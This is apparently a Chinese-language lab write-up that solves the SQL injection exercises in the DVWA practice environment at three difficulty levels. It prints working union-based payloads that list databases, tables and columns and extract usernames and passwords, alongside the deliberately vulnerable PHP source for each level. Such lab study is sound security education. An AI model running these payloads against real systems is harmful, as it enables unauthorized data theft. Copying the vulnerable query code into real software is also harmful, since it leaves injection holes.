前言:
DVWA靶场的sql注入有三个难度等级,通过黑盒注入结合代码审计的形式做一下这个靶场
知识储备:
需要有php、mysql的基础知识
虚拟机:VMFusion11.5.0专业版
使用VMFusion加载靶机的.ova
文件,VM的虚拟机都是可以加载的。
靶机百度网盘下载链接:
https://pan.baidu.com/s/1KaXy5KnXP7Td8s-3zPgalw 密码: jqq7
对于有回显的注入一般的思路就是:写sql语句使得查询结果可以显示出来。最终得到表名,字段名等敏感数据。
注入过程:
输入合法参数1
,页面正常输出,有回显位,输入的内容在url中可见,说明是get类型传参,参数是id
1' and 1=2
报错 说明'
导致语法错误
1' and 1=2 --+
,页面无内容,但语法正确
即闭合方式:'
对于有回显的情况,尝试报错注入的思路
1' order by 2
页面正常
1' order by 3 --+
//页面报错
得到字段数为:2
查询库名和数据库用户名:1.1' union select user(),database() --+
查询当前数据库的所有表
1.1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
1.1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
源码分析:
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id']; //没有对$id 做任何的过滤与检查
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die(''
. mysql_error() . '
' );// 没有关闭错误提示
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo ''; echo 'ID: ' . $id . '
从源码中可以看出:
$id
)做任何的处理mysql_error()
,给攻击者提供攻击的方便尝试单引号闭合
1' and 1=2 --+
发现单引号被转义了,猜测是宽子节注入
依然报错,常见的闭合方式试了一遍,发现是整型闭合方式
1 and 1=1
正常,1 and 1=2
无内容
知道了闭合方式,接下来的步骤和low
一样
获取所有数据库:1.1 union select group_concat(schema_name),2 from information_schema.schemata
-- 查看当前数据库的表名
id=1.1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
-- 查看users表的所有字段,其中users表用的是16进制
?id=1.1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
-- 查看users表的user字段和password字段的内容
?id=1.1 union select group_concat(user),group_concat(password) from users
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
// 对传参中的特殊字符做了转义
$id = mysql_real_escape_string($id);
// 整型闭合方式
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
// 开启了错误提示
$result = mysql_query($getid) or die(''
. mysql_error() . '
' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo ''; echo 'ID: ' . $id . '
相对于medium
的加固点在于对输入的参数多了特殊字符的转义,使得单引号双引号无法起到闭合作用,使得构造了的sql语句成了字符串的一部分,无法被mysql执行。
缺陷:虽然进行了特殊字符的转义,但是闭合方式却使用的是整型闭合,这样使得特殊字符转义没有起到真正的作用。
high
级别我想不出什么思路可以突破。
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die(''
. mysql_error() . '
' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo ''; echo 'ID: ' . $id . '
防御手段
is_numeric($id)
使得,$id
参数的值只能是数字或数字字符串is_numeric($id)
和mysql_real_escape_string($id)
使得单引号无法闭合is_numeric($id)
使得传参只能含有数字或字符串。突破is_numeric()
函数的方法是通过对payload
进行hex编码
,由于是单引号闭合,传输到mysql中的是字符串,不能起到sql语句的作用,所以无法注入。
本文到此结束!如有错误,请朋友们指正!